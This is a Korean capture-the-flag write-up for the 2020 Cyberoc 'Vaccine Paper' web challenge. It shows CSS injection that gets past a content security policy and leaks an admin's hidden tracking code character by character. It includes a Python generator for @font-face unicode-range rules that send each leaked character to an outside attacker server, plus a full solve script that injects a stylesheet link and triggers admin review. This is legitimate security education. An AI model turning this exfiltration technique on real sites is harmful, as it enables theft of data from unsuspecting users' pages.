2020 Cyberoc - Vaccine Paper (Web)

일단 문제 사이트에 들어가서 회원가입을 진행해주자.

회원가입을 완료하고나면 문제 설명이 좀 적혀있다.
tracking에 쓰이는 키는 alphanumeric이고 정렬된 상태라고 한다.

문제 소스를 보니 주석처리가 된 메뉴가 있다.

admin의 tracking code를 맞추는게 문제 의도인가보다.

다른 메뉴에서는 글을 작성할 수 있었다.

글을 작성하고 나면 Prove of work 가 아니라 Proof of Work 를 풀고 Submit 하면 Admin이 해당 글을 확인해주는 전형적인 문제다.
주로 XSS, SSRF 등이 가능할때 이런 문제가 나오는데..

소스코드 하단을 보니 사이트 홈 에서 적혀있던 tracking code가 적혀있었다.

XSS하려고 보니 역시나 CSP가 걸려있었고 style-src, font-src*인걸 보니 이건 CSS injection 하면 되겠다 싶었다.

트래킹 정보가 attr에 들어가있었다면 좀 더 깔끔했겠지만, 지금은 그렇지 않으므로 unicode-range에 따른 font-family 적용의 차이를 이용해서 공격하면 된다. 딱 이걸 쓰라고 tracking info의 rule을 정하고 알려준 느낌

공격에 사용할 css 파일을 생성해준다.

generate.py
1
2
3
4
5
6
table = '1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'

for ch in table:
print('@font-face{font-family:poc; src: url(http://miku.blog/found.php?%s); unicode-range:U+%04x;}' % (ch, ord(ch)))

print('.tracker-hidden { display:inline; font-family: poc; }')

생성된 css 파일을 서버에 올린 뒤에 글을 쓸때 title 같은 데에 <link rel="stylesheet" href="http://miku.blog/attack.css"> 를 입력해주면 끝

solve.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import requests
import hashlib
import time

def pow(hash):
i = 0
while True:
if hashlib.sha1(str(i).encode()).hexdigest()[:5] == hash:
return i
i += 1

HOST = 'http://3.35.121.198:40831'
s = requests.Session()

# create php session
s.get(HOST + '/index.php')
print('Cookie :', s.cookies)

# login
data = {
'userid': 'test0198234',
'pw': 'test0198234'
}

s.post(f'{HOST}/login.php', data=data)

# upload
data = {
'title': '<link rel="stylesheet" href="http://miku.blog/attack.css">',
'category': 'temp',
'abstract': 'asdf'
}
r = s.post(f'{HOST}/upload.php', data=data)

path = r.text.split('">here')[0].split('./')[-1]
pid = path.split('id=')[1]

print('path :', path)
print('pid :', pid)

# get pow
r = s.get(f'{HOST}/{path}')
hash = r.text.split(' == \'')[1].split("'")[0]
answer = pow(hash)

print('pow :', hash)
print('answer :', answer)


data = {
'pow': answer,
'pid': pid
}

# request review
r = s.post(f'{HOST}/{path}', data=data, verify=False)
print(r.text)

위 소스코드를 실행시키면 css 가 올라가있는 서버에 엑세스 로그가 잔뜩 찍힌다.

이걸 문제 사이트에서 알려준 대로 정렬 한 다음 위에서 발견했던 숨겨진 메뉴에 해당 정보를 입력하면 문제가 풀린다.

Share